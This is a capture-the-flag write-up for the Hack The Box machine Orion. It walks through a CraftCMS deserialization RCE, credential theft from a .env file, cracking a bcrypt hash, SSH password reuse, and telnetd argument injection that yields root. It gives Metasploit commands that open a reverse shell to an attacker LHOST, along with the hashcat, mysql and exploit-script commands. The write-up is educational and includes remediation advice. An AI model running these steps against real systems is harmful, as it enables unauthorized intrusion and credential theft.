HTB: Orion

The Art of Trusting the Wrong Thing: A Methodology Breakdown of HTB Orion

There is a pattern that shows up constantly across vulnerability disclosures and breach reports: software that trusts user-supplied data without validating it. Not because developers are careless people. Because validation is hard to get right, and when you miss it in a deserialization context, the consequences are total.

HTB Orion is built around this reality. It is an easy-difficulty Linux machine, but its value is not in the difficulty rating. Its value is in how cleanly it chains three distinct failure classes together: a pre-authentication deserialization flaw, credential exposure in a configuration file, and a legacy daemon running with a trust model that was obsolete before most practitioners were born.

If you approach this box looking for the next command to type, you will get through it. If you approach it asking “why does this work?”, you will take something useful away.

Reconnaissance: two ports, one story

nmap -sV 10.129.71.159

Two ports. SSH on 22, HTTP on 80. For the impatient attacker, this feels thin. But the mistake is treating enumeration as a checklist. You are not looking for ports. You are looking for a story.

The web server redirects to orion.htb, which means you add the hostname to /etc/hosts before anything else resolves:

echo '10.129.71.159 orion.htb' | sudo tee -a /etc/hosts

Browsing to the site reveals a CraftCMS installation. Navigating to /admin/login hands you the version number without asking: 5.6.16. This is the first piece of the story. A web application advertising its exact version is telling you exactly where to look.

Foothold: when deserialization goes wrong

CraftCMS 5.6.16 is affected by CVE-2025-32432, a critical pre-authentication Remote Code Execution vulnerability carrying a CVSS score of 10.0. The flaw lives in the asset transform generation endpoint at /actions/assets/generate-transform. The application accepts a serialized PHP object in the request body and processes it without authentication. An attacker injects a malicious object, the application deserializes it, and arbitrary code runs under the web service account.

The important detail here is not the CVE number. Deserialization vulnerabilities follow the same pattern across every language and framework: the application trusts that the data it is deserializing came from a trusted source. When that assumption is wrong, the trust becomes the attack surface.

Metasploit has a module for this:

use exploit/linux/http/craftcms_preauth_rce_cve_2025_32432
set RHOSTS 10.129.71.159
set LHOST 10.10.14.67
set VHOST orion.htb
run

A Meterpreter session opens as www-data. Drop into a proper shell and stabilize it:

shell
python3 -c 'import pty; pty.spawn("/bin/bash")'

You are in. The web server account is not the goal, but it is the starting point for everything that follows.

Lateral movement: the .env file and the password it should not have

CraftCMS, like most modern PHP applications, stores its configuration in a .env file at the application root. This is by design. Environment variable files are meant to keep secrets out of source code. The problem is that “out of source code” is not the same as “inaccessible to a compromised web process.”

Navigating to /var/www/html/craft and reading the .env file reveals the database credentials in plaintext:

CRAFT_DB_USER=root
CRAFT_DB_PASSWORD=SuperSecureCraft123Pass!

Connect to the local MariaDB instance:

mysql -u root -p'SuperSecureCraft123Pass!'
use orion;
show tables;
select * from users;

The users table contains a bcrypt hash for adam@orion.htb:

$2y$13$e9zuohgFZzGtbQalcn9Mz.5PJbjxobO0GMbXo8NHp3P/B42LUg0lS

A hash alone is not access. But bcrypt with a weak underlying password is crackable offline, away from any rate limiting or account lockout. The hash goes to a Windows machine with a GPU and Hashcat handles it:

hashcat.exe -m 3200 hash.txt rockyou.txt

Password recovered: darkangel

The question that matters now is whether adam reused this password on his system account. In real environments, this is one of the highest-yield pivots a tester can attempt. Application passwords and system passwords come from the same human brain, and human brains prefer convenience over security.

ssh adam@10.129.71.159

It works. Credential reuse is not a sophisticated attack. It is a human pattern, and it appears in virtually every internal assessment.

User flag is in /home/adam/user.txt.

Privilege escalation: the daemon that trusts too much

Before reaching for kernel exploits or SUID binaries, the first question on any new shell should be: what is listening locally that was not visible externally?

ss -tlnp

Port 23 is listening on 127.0.0.1. Telnet. A legacy remote access protocol from an era when network traffic was assumed to be trustworthy. The version running on this machine is GNU inetutils telnetd 2.7, which is affected by CVE-2026-24061.

The vulnerability is an argument injection flaw. The telnetd daemon accepts environment variables from the connecting client through the TELNET NEW-ENVIRON protocol option. It passes the client-controlled USER variable directly into /usr/bin/login as a command-line argument without sanitization. By injecting -f root as the USER value, an attacker forces the login utility to treat the session as pre-authenticated and skip credential validation entirely.

The standard telnet client does not negotiate NEW-ENVIRON correctly for this exploit, so a Python3 script handles the raw TELNET protocol negotiation:

python3 cve_2026_24061_telnetd.py 127.0.0.1 23 root

Root shell. The root flag is in /root/root.txt.

Why this chain matters

Every step in the Orion kill chain maps directly to failure classes that appear in real environments.

Deserialization vulnerabilities are the most severe category of web application bug. When an application deserializes attacker-controlled data, the attacker does not need credentials, does not need to know the application logic, and does not need to find a second bug. One endpoint, one payload, full code execution. The remediation is not “validate the input.” It is “do not deserialize untrusted data.”

Secrets in configuration files are a solved problem. Secret management platforms exist precisely so that database credentials do not live in files on the same server that uses them. The .env pattern keeps secrets out of source code repositories, but it does not protect them from a compromised process running on the same host. Defense in depth means the compromise of the web application should not automatically hand an attacker database credentials.

Legacy daemons with network exposure are a category of risk that organizations consistently underestimate. Telnet was designed in 1969. Its authentication model reflects the threat model of 1969. Running it on a modern system, even locally, introduces a vulnerability class that has no patch. The remediation is removal, not configuration.

Attack chain summary

[RECON] Nmap -> port 22, 80
  |
[ENUM] /admin/login -> CraftCMS 5.6.16 identified
  |
[EXPLOIT] CVE-2025-32432 -> pre-auth RCE -> www-data shell
  |
[PIVOT] /var/www/html/craft/.env -> DB credentials
  |
[PIVOT] MySQL users table -> bcrypt hash -> cracked: darkangel
  |
[PIVOT] Password reuse -> SSH as adam -> user flag
  |
[ENUM] ss -tlnp -> telnetd on 127.0.0.1:23
  |
[ROOT] CVE-2026-24061 -> NEW-ENVIRON injection -> root shell -> root flag